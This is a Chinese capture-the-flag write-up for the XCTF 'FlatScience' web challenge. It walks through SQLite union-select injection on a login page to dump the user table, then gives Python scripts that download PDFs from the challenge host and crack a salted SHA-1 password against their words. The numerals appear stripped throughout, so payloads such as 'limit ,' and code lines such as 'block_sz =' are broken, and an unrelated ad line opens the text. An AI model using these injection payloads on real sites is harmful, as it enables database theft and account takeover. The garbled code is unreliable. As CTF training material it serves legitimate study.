攻防世界FlatScience

提示：扫一扫查出行
【扫一扫了解最新限行尾号】
复制提示

访问robots.txt发现 admin.php和login.php

在admin.php和login.php分别尝试注入

发现login.php页面存在注入，并且根据报错得知数据库类型为sqlite数据库

sqlite数据库注入参考连接

https://blog.csdn.net/weixin_34405925/article/details/89694378

sqlite数据库存在一个sqlite_master表，功能类似于mysql的information_schema一样。具体内容如下：

字段：type/name/tbl_name/rootpage/sql

union select联合查询：

'union select name,sql from sqlite_master--+

可以得到创建表的结构

解码

CREATE TABLE Users(

id int primary key,

name varchar(),

password varchar(),

hint varchar())

Payload

usr=% UNION SELECT id, id from Users limit ,--+&pw=chybeta

usr=% UNION SELECT id, name from Users limit ,--+&pw=chybeta

usr=% UNION SELECT id, password from Users limit ,--+&pw=chybeta

usr=% UNION SELECT id, hint from Users limit ,--+&pw=chybeta

用户名

密码

密码进行了密码+salt进行了sha1加密

继续注入得出线索

根据提示登录密码在pdf里面

因为pdfminer.six在2020年不支持python2，网上大多数脚本都不好用了，所以找了一个python3的脚本

大佬链接https://www.dazhuanlan.com/2020/03/25/5e7a45d159f40/

安装模块

pip3 install pdfminer.six

python3爬取多目标网页PDF文件并下载到指定目录

import urllib.request

import re

import os

# open the url and read

def getHtml(url):

    page = urllib.request.urlopen(url)

    html = page.read()

    page.close()

    return html

def getUrl(html):

    reg = r'(?:href|HREF)="?((?:http://)?.+?.pdf)'

    url_re = re.compile(reg)

    url_lst = url_re.findall(html.decode('utf-8'))

    return(url_lst)

def getFile(url):

    file_name = url.split('/')[-]

    u = urllib.request.urlopen(url)

    f = open(file_name, 'wb')

    block_sz =

    while True:

        buffer = u.read(block_sz)

        if not buffer:

            break

        f.write(buffer)

    f.close()

    print ("Sucessful to download" + " " + file_name)

#指定网页

root_url = ['http://111.198.29.45:54344/1/2/5/',

            'http://111.198.29.45:54344/']

raw_url = ['http://111.198.29.45:54344/1/2/5/index.html',

            'http://111.198.29.45:54344/index.html'

           ]

#指定目录

os.mkdir('ldf_download')

os.chdir(os.path.join(os.getcwd(), 'ldf_download'))

for i in range(len(root_url)):

    print("当前网页：",root_url[i])

    html = getHtml(raw_url[i])

    url_lst = getUrl(html)

    for url in url_lst[:]:

        url = root_url[i] + url

        getFile(url)

python3识别PDF内容并进行密码对冲

from io import StringIO

#python3

from pdfminer.pdfpage import PDFPage

from pdfminer.converter import TextConverter

from pdfminer.converter import PDFPageAggregator

from pdfminer.layout import LTTextBoxHorizontal, LAParams

from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter

import sys

import string

import os

import hashlib

import importlib

import random

from urllib.request import urlopen

from urllib.request import Request

def get_pdf():

    return [i for i in os.listdir("./ldf_download/") if i.endswith("pdf")]

def convert_pdf_to_txt(path_to_file):

    rsrcmgr = PDFResourceManager()

    retstr = StringIO()

    codec = 'utf-8'

    laparams = LAParams()

    device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)

    fp = open(path_to_file, 'rb')

    interpreter = PDFPageInterpreter(rsrcmgr, device)

    password = ""

    maxpages =

    caching = True

    pagenos=set()

    for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):

        interpreter.process_page(page)

    text = retstr.getvalue()

    fp.close()

    device.close()

    retstr.close()

    return text

def find_password():

    pdf_path = get_pdf()

    for i in pdf_path:

        print ("Searching word in " + i)

        pdf_text = convert_pdf_to_txt("./ldf_download/"+i).split(" ")

        for word in pdf_text:

            sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()

            if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):

                print ("Find the password :" + word)

                exit()

if __name__ == "__main__":

    find_password()